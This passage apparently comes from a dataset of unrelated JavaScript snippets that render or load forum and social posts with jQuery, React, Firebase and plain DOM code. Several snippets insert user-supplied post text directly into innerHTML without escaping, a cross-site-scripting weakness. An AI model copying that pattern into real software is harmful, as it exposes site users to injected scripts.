{creationDate: -1}});\n }\n \n return posts;\n}", "function displayPosts(forum)\n{\n\tif(forum != \"home\")\n\t{\n\t\tvar route = \"posts\"; \n\t\tswitch(forum)\n\t\t{\n\t\t\tcase \"leaving\":\n\t\t\t\troute += \"?offer=ride\"; \n\t\t\t\tbreak; \n\t\t\tcase \"arriving\": \n\t\t\t\troute += \"?offer=shelter\"; \n\t\t\t\tbreak; \n\t\t\tcase \"waiting\":\n\t\t\t\troute += \"?offer=donation\"; \n\t\t\t\tbreak; \n\t\t}\n \t$.get(route, function(data, status){ //make ajax call to the forum, gets all posts\n \t data.posts.forEach((post) => { //display results\n \t var $post = $(\"<div class='list-group-item' id='\"+ post.UserId + \"'>\" \n\t\t\t\t\t+ \"<p>Address: \" + post.street + \"</p>\" \n\t\t\t\t\t+ \"<p>State: \" + post.state + \"</p>\"\n\t\t\t\t\t+ \"<p>City: \" + post.city + \"</p>\" \n\t\t\t\t\t+ \"<p>Space: \" + post.space + \"</p>\" \n\t\t\t\t\t+ \"<p>Pets: \" + post.pets + \"</p>\" \n\t\t\t\t\t+ \"<p>Message: \" + post.message + \"</p>\" \n + \"<form method='get'>\"\n + \"<input type='hidden' name='PostId' value='\" + post.Id + \"'>\"\n + \"<button type='submit' formaction='/viewPost'>View Post</button>\"\n + \"<button type='submit' formaction='/editPost'>Edit</button>\"\n + \"<button type='submit' formaction='/deletePost'>Delete</button>\"\n + \"<button type='submit' formaction='/reportForm'>Report</button>\"\n + \"</form>\"\n\t\t\t\t\t+ \"</div>\"); \n \t $(\"#postsDiv\").append($post); \n \t })\n \t}); \n\t}\n}", "function load_posts() {\n document.querySelector('#form-view').style.display = 'block';\n document.querySelector('#post-list').style.display = 'block';\n document.querySelector('#post-list').innerHTML = '';\n document.querySelector('#profile-view').style.display = 'none'; \n document.querySelector('#profile-view').innerHTML = ''; \n\n fetch('/show')\n .then(response => response.json())\n .then(posts => {\n paginate_posts(posts);\n });\n}", "render() {\n\t\tconsole.log(\"here is this.state in render() in PostContainer\")\n\t\tconsole.log(this.state)\n\t\treturn(\n\t\t\t<React.Fragment> \n\t\t\t\t<h2>Post Container</h2>\n\t\t\t\t<NewPostForm createPost={this.createPost} />\n\t\t\t\t<PostList\n\t\t\t\t\tposts={this.state.posts}\n\t\t\t\t\tdeletePost={this.deletePost}\n\t\t\t\t\teditPost={this.editPost}\n\t\t\t\t/>\n\t\t\t\t{\n\t\t\t\t\tthis.state.idOfPostToEdit !== -1\n\t\t\t\t\t&&\n\t\t\t\t\t<EditPostModal\n\t\t\t\t\t\tkey={this.state.idOfPostToEdit}\n\t\t\t\t\t\tpostToEdit={this.state.posts.find((post) => post.id === this.state.idOfPostToEdit)}\n\t\t\t\t\t\tupdatePost={this.updatePost}\n\t\t\t\t\t\tcloseModal={this.closeModal}\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t</React.Fragment>\n\t\t)\n\t}", "async renderPost () {\n\t\tconst creator = this.teamMembers.find(member => member.id === this.post.creatorId);\n\t\tthis.renderOptions = {\n\t\t\tpost: this.post,\n\t\t\tparentPost: this.parentPost,\n\t\t\tcodemark: this.parentCodemark || this.codemark,\n\t\t\treview: this.parentReview || this.review,\n\t\t\tcodeError: this.parentCodeError || this.codeError,\n\t\t\tmarkers: this.markers,\n\t\t\tfileStreams: this.fileStreams,\n\t\t\trepos: this.repos,\n\t\t\tmembers: this.teamMembers,\n\t\t\tteam: this.team,\n\t\t\tcompany: this.company,\n\t\t\tstream: this.stream,\n\t\t\tmentionedUserIds: this.post.mentionedUserIds || [],\n\t\t\trelatedCodemarks: this.relatedCodemarks,\n\t\t\tcreator\n\t\t};\n\t\t// HACK ugh, don't want to do this here...\t\n\t\tconst thing = this.renderOptions.codeError || this.renderOptions.review || this.renderOptions.codemark;\n\t\tif (thing) {\n\t\t\tthis.renderOptions.clickUrl = Utils.getIDEUrl(thing.permalink, null);\n\t\t}\n\n\t\tif (this.post.parentPostId) {\n\t\t\tlet creatorId;\n\t\t\tif (this.grandparentPost) {\n\t\t\t\tcreatorId = this.parentPost.creatorId;\n\t\t\t} else {\n\t\t\t\tcreatorId = (this.parentCodemark || this.parentReview || this.parentCodeError).creatorId;\n\t\t\t}\n\t\t\tthis.renderOptions.parentObjectCreator = this.teamMembers.find(member => member.id === creatorId);\n\n\t\t\tif (this.parentCodeError) {\n\t\t\t\tif (this.codemark) {\n\t\t\t\t\t// new codemark for a code error\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentCodeError;\n\t\t\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.creator;\n\t\t\t\t\tconst codeErrorContent = new CodeErrorRenderer().renderCollapsed(this.renderOptions);\n\t\t\t\t\tconst codemarkContent = new CodemarkRenderer().render({ ...this.renderOptions, \n\t\t\t\t\t\tsuppressNewContent: true \n\t\t\t\t\t});\t\t\t\t\t\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().renderContentAsReply(this.renderOptions, codeErrorContent, codemarkContent);\n\t\t\t\t\treturn;\n\t\t\t\t} else if (this.parentCodemark) {\n\t\t\t\t\t// new reply to a codemark reply to a code error\n\t\t\t\t\t// here, we aren't showing the full code error object, just the code error header in the codemark\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentCodemark;\n\t\t\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.parentObjectCreator;\n\t\t\t\t\tconst parentCodemark = new CodemarkRenderer().render({ ...this.renderOptions, \n\t\t\t\t\t\tincludeActivity: true,\n\t\t\t\t\t\tsuppressNewContent: true, \n\t\t\t\t\t\tincludeCodeErrorSection: true\n\t\t\t\t\t});\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().render(this.renderOptions, parentCodemark);\t\t\t\t\t\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\t// new reply to a code error\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentCodeError;\n\t\t\t\t\tconst codeErrorContent = new CodeErrorRenderer().renderCollapsed(this.renderOptions);\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().render(this.renderOptions, codeErrorContent);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else if (this.parentReview) {\n\t\t\t\tif (this.codemark) {\n\t\t\t\t\t// new codemark for a review\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentReview;\n\t\t\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.creator;\n\t\t\t\t\tconst reviewContent = new ReviewRenderer().renderCollapsed(this.renderOptions);\n\t\t\t\t\tconst codemarkContent = new CodemarkRenderer().render({ ...this.renderOptions, \n\t\t\t\t\t\tsuppressNewContent: true \n\t\t\t\t\t});\t\t\t\t\t\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().renderContentAsReply(this.renderOptions, reviewContent, codemarkContent);\n\t\t\t\t\treturn;\n\t\t\t\t} else if (this.parentCodemark) {\n\t\t\t\t\t// new reply to a codemark in a review\n\t\t\t\t\t// here, we aren't showing the full review object, just the review header in the codemark\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentCodemark;\n\t\t\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.parentObjectCreator;\n\t\t\t\t\tconst parentCodemark = new CodemarkRenderer().render({ ...this.renderOptions, \n\t\t\t\t\t\tincludeActivity: true,\n\t\t\t\t\t\tsuppressNewContent: true, \n\t\t\t\t\t\tincludeReviewSection: true\n\t\t\t\t\t});\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().render(this.renderOptions, parentCodemark);\t\t\t\t\t\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\t// new reply to a review\n\t\t\t\t\tthis.renderOptions.parentObject = this.parentReview;\n\t\t\t\t\tconst reviewContent = new ReviewRenderer().renderCollapsed(this.renderOptions);\n\t\t\t\t\tthis.renderedHtml = new ReplyRenderer().render(this.renderOptions, reviewContent);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else if (this.parentCodemark) {\n\t\t\t\t// new reply to a codemark\n\t\t\t\tthis.renderOptions.parentObject = this.parentCodemark;\n\t\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.parentObjectCreator;\n\t\t\t\tconst codemarkContent = new CodemarkRenderer().renderCollapsed({...this.renderOptions, includeActivity: true});\n\t\t\t\tthis.renderedHtml = new ReplyRenderer().render(this.renderOptions, codemarkContent);\n\t\t\t\treturn;\n\t\t\t}\n\t\t} else if (this.codemark) {\n\t\t\t// new codemark\n\t\t\tthis.renderOptions.codemarkCreator = this.renderOptions.creator;\n\t\t\tthis.renderedHtml = new CodemarkRenderer().render(this.renderOptions);\n\t\t\treturn;\n\t\t} else if (this.review) {\n\t\t\t// new review, or a review reminder\n\t\t\tthis.renderedHtml = new ReviewRenderer().render(this.renderOptions);\n\t\t\treturn;\n\t\t} else if (this.codeError) {\n\t\t\t// new code error, this really shouldn't happen\n\t\t\tthrow new Error('email notification for a created code error, should not happen');\n\t\t} else {\n\t\t\tthis.warn(`Post ${this.post.id} is not a reply and does not refer to a codemark; email notifications for plain posts are no longer supported; how the F did we get here?`);\n\t\t\treturn true;\n\t\t}\n\t}", "function addPostButtonDisplay(){\n if(userLoggedIn()){\n document.getElementById(\"addPostButton\").style.display = \"block\";\n } else {\n document.getElementById(\"addPostButton\").style.display = \"none\";\n }\n}", "function showOtherThreads() {\n var array = $$('.threadItem');\n array.each(function(item){\n if (item.getStyle('visibility') == 'hidden') {\n item.setStyles({\n visibility: 'visible',\n display: 'block'\n }); \n } \n });\n // Not on post page so dispose of post button\n $('addPostButton').dispose();\n if($('newPostForm') != null) {\n // If the the form has been opened dispose of it too\n $('newPostForm').dispose();\n }\n // Add the thread button\n initThreadButton();\n}", "render(){\n\t\tconst {id, title, body, author, date, voteScore, comments} = this.props.currentPost;\n\t\tconst { redirect } = this.state;\n\t\tconst { width } = this.props;\n\t\tconst isMedium = (width <= 899);\n\n\n\t\tif(redirect){\n\t\t\treturn (redirect && (<Redirect to=\"/\"/>))\n\t\t}else if(!id){\n\t\t\treturn(\n\t\t\t\t\t<div className=\"postdetail-grid\">\n\t\t\t\t\t\t<div className=\"row\">\n\t\t\t\t\t\t\t<div className=\"col-12\">\n\t\t\t\t\t\t\t\t<p>Post not available</p>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\n\t\t\t\t)\n\n\t\t}\n\n\n\t\treturn(\n\n\t\t\t<div className=\"grid postdetail-container\">\n\t\t\t\t<div className=\"row\">\n\t\t\t\t\t<div className=\"col-12 col-12-medium\">\n\t\t\t\t\t\t<Link to=\"/\" className=\"large-button\">Take me back</Link>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"row\">\n\t\t\t\t\t<div className=\"col-12 col-12-medium\">\n\t\t\t\t\t\t<h2 className=\"postdetail-header\"> >> {title}</h2>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"row\">\n\t\t\t\t\t<div className=\"col-6 col-6-medium\">\n\t\t\t\t\t\t<span>Date of creation: {date}</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div className=\"col-6 col-6-medium\">\n\t\t\t\t\t\t<span className=\"right\">score: {voteScore}</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"row\">\n\t\t\t\t\t<div className=\"col-6 col-6-medium\">\n\t\t\t\t\t\tBy: <span className=\"author\">{author}</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div className=\"col-6 col-6-medium\">\n\t\t\t\t\t\t<span className=\"right\">\n\t\t\t\t\t\t\t<VotingOptions id={id} currentPost={true} isMedium={isMedium}/>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div>\n\t\t\t\t\t<div className=\"row\">\n\t\t\t\t\t\t<div className=\"col-6 col-12-medium\">\n\t\t\t\t\t\t\t<Link to={`../edit/${id}`}><FontAwesome name=\"edit\" className=\"editbutton\"/></Link>\n\t\t\t\t\t\t\t<button onClick={this.deletePost} className=\"deletebutton\"><FontAwesome name=\"trash-alt\"/></button>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"row\">\n\t\t\t\t\t<div className=\"col-12 col-12-medium\">\n\t\t\t\t\t\t<p className=\"postdetail-body\">{body}</p>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"comments-grid\">\n\t\t\t\t\t<div className=\"row\">\n\t\t\t\t\t\t<div className=\"col-6 col-12-medium\">\n\t\t\t\t\t\t\t<h3 className=\"comments-section-title\">Comments: {comments.length}</h3>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div className=\"col-6 col-12-medium\">\n\t\t\t\t\t\t\t<span className=\"right\"><NewComment isMedium={isMedium}/></span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div className=\"row\">\n\t\t\t\t\t\t<Comments isMedium={isMedium}/>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\n\n\n\t\t\t)\n\t}", "function renderPost(post){ //here we pass an object with post parameters needed to render the post\n\n //creating new elements of the layout\n var postContainer = document.createElement('div'),\n postTitle = document.createElement('h1'),\n postPicture = document.createElement('img'),\n postLink = document.createElement('a'),\n postDescription = document.createElement('p'),\n postPublicationDate = document.createElement('p');\n\n //setting proper attributes to the html tags of the layout\n postContainer.className = \"single-post \"; // here you can add bootstrap classes\n postTitle.innerHTML = post.title;\n postLink.setAttribute('href', post.link);\n postLink.setAttribute('target', '_blank');\n postLink.className = 'thumbnail'; // bootstrap thumbnail class\n postPicture.setAttribute('src', post.imageUrl);\n postDescription.innerHTML = post.description;\n postPublicationDate.innerHTML = \"Published: \" + post.date;\n\n\n //Appending elements to the DOM\n postLink.appendChild(postTitle);\n postLink.appendChild(postPicture);\n postLink.appendChild(postDescription);\n postLink.appendChild(postPublicationDate);\n postContainer.appendChild(postLink);\n document.getElementsByClassName('widget-container')[0].appendChild(postContainer);\n }", "render() {\n return (\n <section id=\"post-list\">\n { \n this.state.feed.map(post => (\n // Setar uma key com um ID unico faz o react conseguir achar os \n // elementos mais rapidamente na DOM e ter uma performance melhor\n <article key={post._id}>\n <header>\n <div className=\"user-info\">\n <span>{post.author}</span>\n <span className=\"place\">{post.place}</span>\n </div>\n \n <img src={more} alt=\"Mais\"></img>\n </header>\n \n <img src={`http://localhost:3333/files/${post.image}`} alt=\"\"></img>\n \n <footer>\n <div className=\"actions\">\n <button type=\"button\" onClick={() => this.handleLike(post._id)}>\n <img src={like} alt=\"\"/>\n </button> \n <img src={comment} alt=\"\"/>\n <img src={send} alt=\"\"/>\n </div>\n \n <strong>{post.likes} curtidas</strong>\n \n <p>\n {post.description}\n <span>{post.hashtags}</span>\n </p> \n </footer>\n </article> \n ))\n } \n </section>\n );\n }", "render(isSingle) {\n const containerPost = document.createElement('div');\n containerPost.classList.add('post')\n\n const linkHTMLString = isSingle ?\n `<a href=\"./edit-post.html?id=${this.id}\">Edit</a>`\n : `<a href=\"./view-post.html?id=${this.id}\">View</a>`\n\n containerPost.innerHTML = `\n <h1>${this.title}</h1>\n <p> ${this.text}</p>\n ${linkHTMLString}\n `\n return containerPost;\n }", "async function showPosts() {\n\tconst posts = await getPosts();\n\n\t// Get post one by one\n\tposts.forEach((post) => {\n\t\t// ! Create post container from api\n\t\tconst postEl = document.createElement('div');\n\t\tpostEl.classList.add('post');\n\t\tpostEl.innerHTML = `\n <div class=\"number\">${post.id}</div>\n <div class=\"post-info\">\n <h2 class=\"post-title\">${post.title}</h2>\n <p class=\"post-body\">${post.body}</p>\n </div>`;\n\n\t\t// ! Add the post data in to the post container\n\t\tpostContainer.appendChild(postEl);\n\t});\n}", "renderPostsFragment() {\n const personCanPostForChair =\n this.props.personIsEmployee || this.props.personIsSuperAdmin;\n\n return (\n <Grid>\n <Grid.Row columns={2} verticalAlign=\"middle\">\n <Grid.Column width={10}>\n <Header> {i18next.t(\"chairpage-news-fragment-headline\")}</Header>\n </Grid.Column>\n <Grid.Column width={6} floated=\"right\">\n {personCanPostForChair && (\n <Button\n style={{ float: \"right\" }}\n color=\"blue\"\n onClick={() => {\n this.setState({ newPostModalOpen: true });\n }}\n >\n {i18next.t(\"chairpage-new-post-button-label\")}\n </Button>\n )}\n </Grid.Column>\n </Grid.Row>\n\n {this.props.chairPosts &&\n this.props.chairPosts.map((post, index) => {\n return (\n <Grid.Row key={index}>\n <Grid.Column>\n <PostCard post={post} key={index} />\n </Grid.Column>\n </Grid.Row>\n );\n })}\n </Grid>\n );\n }", "function renderPostControls(){\n // Gets all the posts of the current page:\n var posts = document.getElementsByClassName(DOM_POST_PREVIEW_CONTAINER_CLASS);\n var toolbars = []; // All posts toolbars handler\n\n for(var i = 0; i < posts.length; i++){ // For every post in the current page\n // If the post has no toolbar, add it\n if( !posts[i].classList.contains(DOM_POST_TOOLBAR_CONTAINER) ){\n // Gets post's shortcode:\n shortcode = posts[i].childNodes[0].href.match(REGEX_POST_URL)[1];\n\n // Creates the toolbar and adds it to toolbars handler:\n toolbars.push( document.createElement('div') );\n // Saves corresponding shortcode into toolbar's dataset:\n toolbars[ toolbars.length - 1 ].setAttribute('data-shortcode', shortcode);\n toolbars[ toolbars.length - 1 ].className = DOM_POST_TOOLBAR_ClASS;\n\n // Creates toolbar's buttons:\n toolbars[ toolbars.length - 1 ].appendChild( document.createElement('div') );\n\t\t\ttoolbars[ toolbars.length - 1 ].appendChild( document.createElement('div') );\n\n // Adds fullscreen button functionality:\n toolbars[ toolbars.length - 1 ].childNodes[0].onclick = function(){\n fullscreenAction(this);\n };\n\n // Adds download button functionality:\n toolbars[ toolbars.length - 1 ].childNodes[1].onclick = function(){\n downloadAction(this);\n };\n\n // Fullscreen button icon:\n toolbars[ toolbars.length - 1 ].childNodes[0].appendChild(\n\t\t\t\tdocument.createElement('img')\n\t\t\t);\n // Download button icon:\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[1].appendChild(\n\t\t\t\tdocument.createElement('img')\n\t\t\t);\n\n // Toolbar's buttons setup:\n toolbars[ toolbars.length - 1 ].childNodes[0].childNodes[0].className = DOM_POST_FULLSCREEN_BUTTON_CLASS;\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[1].childNodes[0].className = DOM_POST_DOWNLOAD_BUTTON_CLASS;\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[0].childNodes[0].title = chrome.i18n.getMessage(\"postToolbarFullscreen\");\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[1].childNodes[0].title = chrome.i18n.getMessage('postToolbarDownload');\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[0].childNodes[0].src = IG_URL + IG_SPRITESA_PATH;\n\t\t\ttoolbars[ toolbars.length - 1 ].childNodes[1].childNodes[0].src = IG_URL + IG_SPRITESA_PATH;\n\n // Injects toolbar to the post:\n\t\t\tposts[i].insertBefore(toolbars[ toolbars.length - 1 ], posts[i].childNodes[0]);\n\t\t\tposts[i].classList.add(DOM_POST_TOOLBAR_CONTAINER);\n }\n }\n}", "function hideAllPosts() {\n\tfor(var i = 0; i < allPosts.length; i++) {\n\t\tallPosts[i].style.display = \"none\";\n\t}\n}", "render() {\n return (\n <div>\n <Header />\n <Posts renderedPosts={this.state.posts} />\n\n <hr />\n <Footer />\n </div>\n );\n }", "renderPendingPosts() {\n var email = Meteor.user().emails[0].address.toString();\n let postsToDisplay = Posts.find({ type: 'CrewRequest', requestor: email, username: null });\n var today = new Date();\n return postsToDisplay.map((post) => {\n var dayMonthYear = post.date.split('/');\n var postDate = new Date(dayMonthYear[2], dayMonthYear[0] - 1, dayMonthYear[1]);\n postDate.setDate(postDate.getDate() + 1);\n //Check if the event is in the past\n if(postDate.getTime() >= today.getTime())\n return (\n <Post key={post._id} post={post} role={Profiles.findOne({ accountId: Meteor.user()._id }).member} />\n )\n });\n }", "function showPosts(posts, viewer, skip, amount) {\n\tviewer.showPhotoPosts(posts, skip, amount);\n}", "render() {\n console.log(this.props, \"posts\");\n console.log(this.props.PostData);\n const { PostData, isLoading} = this.props\n \n var Filteritem = PostData.sort((a, b) => b.id - a.id)\n const { textPost, imagePost } = this.state\n return (\n <div>\n <div className=\"makePost\">\n <input\n className=\"makePostInputBox\"\n onChange={this.handleChange}\n name=\"textPost\"\n value={textPost}\n placeholder=\"Start a Post\" />\n <div className=\"makePostChild2\">\n <input\n name=\"imagePost\"\n name=\"imagePost\"\n value={imagePost}\n onChange={this.handleChange}\n placeholder=\"Place the Image Url\"\n />\n <button onClick={this.handlePost}>Post on Timeline</button>\n </div>\n </div>\n <hr style={{ marginLeft: \"30px\" }} />\n {/* <div className=\"post1\">\n\n </div> */}\n <div>\n {isLoading && <div><Spinner animation=\"border\" role=\"status\">\n <span className=\"sr-only\">Loading...</span>\n </Spinner></div>}\n {!isLoading && Filteritem.map((item) => {\n return <SinglePost key={item.id} post = {item} imageComment = {this.props.avatar_url} {...this.props}/>\n })\n }\n </div>\n </div>\n )\n }", "render() {\n\n console.log(this.props);\n \n\n return (\n <React.Fragment>\n \n\n \n {this.props.map(post => (\n <section className=\"post\" key={post.timestamp + post.username} >\n \n <div className='post-header'>\n <img src={post.thumbnailUrl} alt={post.username} className=\"user-img\" />\n <h6 className='user-name'>{post.username}</h6>\n </div>\n \n <img src={post.imageUrl} alt={post.name} className='post-img' />\n \n <div className='post-actions'>\n <div className=\"footer-icon repost\" onClick={() => this.addRepost()}><FiHeart /></div>\n <FiMessageCircle />\n </div>\n \n \n <div className='post-likes'>{post.likes} likes</div>\n \n \n <CommentSection username={post.username} comments={post.comments} />\n \n \n <div className=\"timestamp \" >\n {moment(post.timestamp, 'MMMM Do YYYY, LTS').format('dddd')}\n </div>\n \n <hr></hr>\n \n <AddComment comments={post.comments} />\n \n </section>\n ))};\n\n \n\n \n </React.Fragment>\n )\n \n }", "function hideAllPosts() {\n const posts=document.getElementsByClassName('single_post_container');\n for (let i = 0; i < posts.length; i++) {\n posts[i].style.display = 'none';\n }\n}", "function getPost(sub) {\n dataBase.ref(\"Posts/\" + sub).once('value', function (data) {\n //if there are no posts in the database under the category then say there are no posts\n if(data.numChildren() === 0)\n insertNoPost(sub)\n else{\n //keep track of how many of the elements in this category are hidden\n var hiddenCount = 0\n //for each post in this category grab all the data out out it\n data.forEach(function (childSnapshot) {\n var childData = childSnapshot.val();\n var postID = childSnapshot.key;\n var question = childData.question;\n var description = childData.description;\n var bounty = childData.bounty;\n var category = childData.category;\n var visibility = childData.visibility;\n var displayName = childData.displayName;\n var myUid = childData.uid;\n\n //If the post is listed as visible in the database then display it to the page\n if(visibility == 'visible'){\n //create the html to be injected\n var html = [\n '<div class=\"post_topbar\">',\n '<div class=\"usy-dt\">',\n '<div class=\"usy-name\">',\n '<h3>',displayName,'</h3>',\n '<span>$',bounty,'</span>',\n '</div>',\n '</div>',\n '<div class=\"ed-opts\">',\n '<a href=\"#\" title=\"\" class=\"ed-opts-open\"><i class=\"la la-ellipsis-v\"></i></a>',\n '<input id=\"button',postID,'\" type=\"button\" value=\"Claim Bounty\" onclick=\"openChatPage(\\'',postID,'\\');\" style=\"float:right; background-color: green; color: white; height: 25px; width: 100px; border: none;\"></input>',\n '<ul class=\"ed-options\">',\n '<li><a href=\"#\" title=\"\">Edit Post</a></li>',\n '<li><a href=\"#\" title=\"\">Unsaved</a></li>',\n '<li><a href=\"#\" title=\"\">Unbid</a></li>',\n '<li><a href=\"#\" title=\"\">Close</a></li>',\n '<li><a href=\"#\" title=\"\">Hide</a></li>',\n '</ul>',\n '</div>',\n '</div>',\n '<div class=\"job_descp\">',\n '<h3>',question,'</h3>',\n '<p>',description,'</p>',\n '</div>'\n ].join('');\n var div = document.createElement('div');\n div.setAttribute('class', 'post-bar');\n div.setAttribute('id', postID);\n div.innerHTML = html;\n //add the div with the html elements inside to the posts section of the page\n document.getElementById('posts-section').appendChild(div);\n }\n //Increment count of hidden items\n else{hiddenCount++}\n\n //If all posts within the category are hidden, then display that there are\n //currently no posts for that category\n if(data.numChildren() === hiddenCount)\n insertNoPost(sub)\n });\n }\n });\n}", "async function showPosts() {\n const posts = await getPosts();\n\n posts.forEach((post) => {\n const postEl = document.createElement(\"div\");\n postEl.classList.add(\"post\");\n postEl.innerHTML = `\n <div class=\"post-number\">${post.id}</div>\n <div class=\"post-info\">\n <h2 class=\"post-title\">${post.title}</h2>\n <div class=\"post-body\">${post.body}</div>\n </div>\n `;\n postsContainer.appendChild(postEl);\n // The Node.appendChild() method adds a node to the end of the list of children of a specified parent node.\n // The fetch() method takes one mandatory argument, the path to the resource you want to fetch.\n // It returns a Promise that resolves to the Response to that request, whether it is successful or not\n });\n}", "function isPostOwner(post, currentUser) {\n if (currentUser === null) {\n return false;\n }\n let userIdFromPost = post.userId,\n currentUserId = currentUser.uid;\n if (userIdFromPost === currentUserId) {\n return true;\n }\n return false;\n}", "renderPosts() {\n if ( this.props.posts.length > 0 ) {\n return this.props.posts.map( ( post ) => {\n return <div key={ post._id }>{post.title}</div>;\n });\n } else if (!this.props.posts) {\n return <div>No posts found.</div>;\n } else {\n return <div>Loading...</div>\n }\n }", "function display_post(postid)\n{\n\tif (AJAX_Compatible)\n\t{\n\t\tvB_PostLoader[postid] = new vB_AJAX_PostLoader(postid);\n\t\tvB_PostLoader[postid].init();\n\t}\n\telse\n\t{\n\t\tpc_obj = fetch_object('postcount' + this.postid);\n\t\topenWindow('showpost.php?' + (SESSIONURL ? 's=' + SESSIONURL : '') + (pc_obj != null ? '&postcount=' + PHP.urlencode(pc_obj.name) : '') + '&p=' + postid);\n\t}\n\treturn false;\n}", "function load_following_posts() {\n document.querySelector('#form-view').style.display = 'block';\n document.querySelector('#post-list').style.display = 'block';\n document.querySelector('#post-list').innerHTML = '';\n document.querySelector('#profile-view').style.display = 'none'; \n document.querySelector('#profile-view').innerHTML = ''; \n\n fetch('/followed_posts')\n .then(response => response.json())\n .then(posts => {\n paginate_posts(posts);\n });\n}", "render() {\n const username = this.props.username;\n const response = this.state.response;\n const onePost = this.state.onePost;\n var array = [];\n if (onePost){\n array.push(response.posts[Object.keys(response.posts)[0]]);\n }\n const posts = onePost ? array : response.posts;\n return (\n <div className=\"sportsContainer tabContiner\">\n <div className = \"refresh-container\" style = {{overflow: 'hidden', whitespace: 'overflow'}}>\n <Button onClick={this.refresh}>Refresh</Button>\n </div>\n <ListGroup>\n {\n posts && posts.map(data =>\n <ListGroupItem>\n <PostItem currentUser={username} username={data.post_user} title={data.post_title} description={data.post_content} id={data.post_id} commentObj={data.post_comments}/>\n </ListGroupItem>\n )\n }\n </ListGroup>\n </div>\n\n );\n }", "function bindReplyDisplay(postContainer)\n{\n // Check the site wide cookie thats set after login\n // Do not display any of the front end elements when\n // they are not signed in. \n if ($.cookie(\"Username\") === null) \n {\n return;\n }\n\n $( postContainer ).find( \".toolbox\" ).append( \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t'<button class=\"reply-button\"><i class=\"icon-share-alt\"></i></button>'\n\t\t\t\t\t\t\t\t);\n\t\t\n\t\tbindReplyBoxEvents(postContainer);\n\n\t\treturn postContainer;\n}", "showPosts(posts) {\n let output = '';\n\n posts.forEach(post => {\n output += `\n <div class='card mb-3'>\n <div class='card-body'>\n <h4 class='card-title'>${post.title}</h4>\n <p class='card-text'>${post.body}</p>\n <a \n href='#' \n class='edit card-link' \n data-id=${post.id}\n >\n <i class=\"material-icons left\">edit</i>\n </a>\n <a \n href='#' \n class='delete card-link' \n data-id=${post.id}\n >\n <i \n class=\"material-icons left\" \n style=\"color:red;\"\n >\n delete\n </i>\n </a>\n </div>\n </div>\n `;\n });\n\n this.posts.innerHTML = output;\n }", "async myPosts(parent, args, ctx, info) {\n if (!ctx.request.userId) {\n throw new Error(\"You must be logged in\");\n }\n\n return ctx.db.query.posts(\n {\n where: {\n author: {\n id: ctx.request.userId,\n },\n },\n },\n info\n );\n }", "posts(parent, args, ctx, info) {\n // 'User' Object data -> is present in 'parent' argument in posts() method\n return POSTS_DATA.filter(post => {\n return post.author === parent.id\n })\n }", "function renderPosts() {\n display.empty();\n // loops posts Arr and append the OBJs\n // debugger\n for (let i = 0; i < posts.length; i++) {\n display.append(`<form action=\"\">\n <p class='post' data-id=` + posts[i].ids + `> ` + posts[i].texts +\n ` <button type='button' class='remove' data-id=` + i +\n `>REMOVE</button>` + `</p>\n <input type=\"text\" name=\"\" class=\"commentName\" placeholder=\"name\">\n <input type=\"text\" name=\"\" class=\"commentComment\" placeholder=\"comment\">\n <ul class = \"postComment\">\n </ul>\n <button class = \"goComment\"type=\"button\">go</button>\n </form>`)\n\n // renderComments(getIndexByID(posts[i].ids), posts[i].ids);\n }\n}", "function printTaggedPosts(posts) {\n document.getElementById(\"content\").innerHTML = \"\";\n for (let post in posts){\n // console.log(post)\n // console.log(Object.values(snapshot.val()[post].comments).length)\n document.getElementById(\"content\").innerHTML += `\n <div class=\"post div-responsive\" id=\"caja${post}\">\n <div class=\"post-header\">\n <span><img src=\"${posts[post].authorPic ? posts[post].authorPic : './img/userLogo.png'}\" class=\"user-pic-post\" alt=\"userPic\"><p>${posts[post].author} ${posts[post].especialidad ? \"- \"+posts[post].especialidad : \"\"}</p></span>\n\n </div>\n <div class=\"post-content\">\n <span>${posts[post].content}</span>\n </div>\n <div class=\"options\">\n <a class=\"like\" id=${post}><i class=\"material-icons\">star_border</i><span>${posts[post].likes ? Object.values(posts[post].likes).length : \"0\"}</span></a>\n <a class=\"comments\" id=\"comments${post}\"><i 